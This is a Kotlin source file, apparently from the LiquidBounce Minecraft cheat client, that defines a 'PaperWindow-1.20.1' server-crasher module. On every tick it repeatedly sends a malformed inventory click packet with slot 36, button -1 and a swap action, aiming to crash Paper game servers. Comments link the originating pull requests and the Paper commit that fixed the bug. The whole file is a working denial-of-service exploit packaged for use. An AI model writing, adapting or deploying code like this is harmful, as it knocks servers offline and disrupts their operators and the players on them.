package net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.exploits

import it.unimi.dsi.fastutil.ints.Int2ObjectMaps
import net.ccbluex.liquidbounce.config.types.nesting.Choice
import net.ccbluex.liquidbounce.config.types.nesting.ChoiceConfigurable
import net.ccbluex.liquidbounce.event.waitTicks
import net.ccbluex.liquidbounce.event.tickHandler
import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.ModuleServerCrasher
import net.minecraft.item.ItemStack
import net.minecraft.item.Items
import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket
import net.minecraft.screen.slot.SlotActionType
import net.minecraft.screen.sync.ItemStackHash

/**
 * PaperWindow exploit
 *
 * Requested from https://github.com/CCBlueX/LiquidBounce/issues/2113
 * Original PR by https://github.com/AntiCope/meteor-crash-addon/pull/24
 * Copy PR https://github.com/CCBlueX/LiquidBounce/pull/2189
 *
 * Issue fixed by https://github.com/PaperMC/Paper/commit/8493340be4fa69fa9369719272e5dff1b7a2f455
 */
object PaperWindow1201Exploit : Choice("PaperWindow-1.20.1") {

    override val parent: ChoiceConfigurable<Choice>
        get() = ModuleServerCrasher.exploitChoices

    /**
     * The amount of packets to send
     *
     * @see net.minecraft.client.network.ClientPlayerInteractionManager.clickSlot
     */
    private val packets by int("Packets", 6, 2..12)

    val repeatable = tickHandler {
        fun ItemStack.toHash(): ItemStackHash =
            ItemStackHash.fromItemStack(this, player.networkHandler.componentHasher)

        val handler = player.currentScreenHandler
        val packet = ClickSlotC2SPacket(
            handler.syncId,
            handler.revision,
            36,
            -1,
            SlotActionType.SWAP,
            Int2ObjectMaps.singleton(
                0,
                Items.GOLDEN_CARROT.defaultStack.toHash(),
            ),
            handler.cursorStack.toHash(),
        )

        repeat(packets) {
            network.sendPacket(packet)
        }
        waitTicks(1)
    }

}
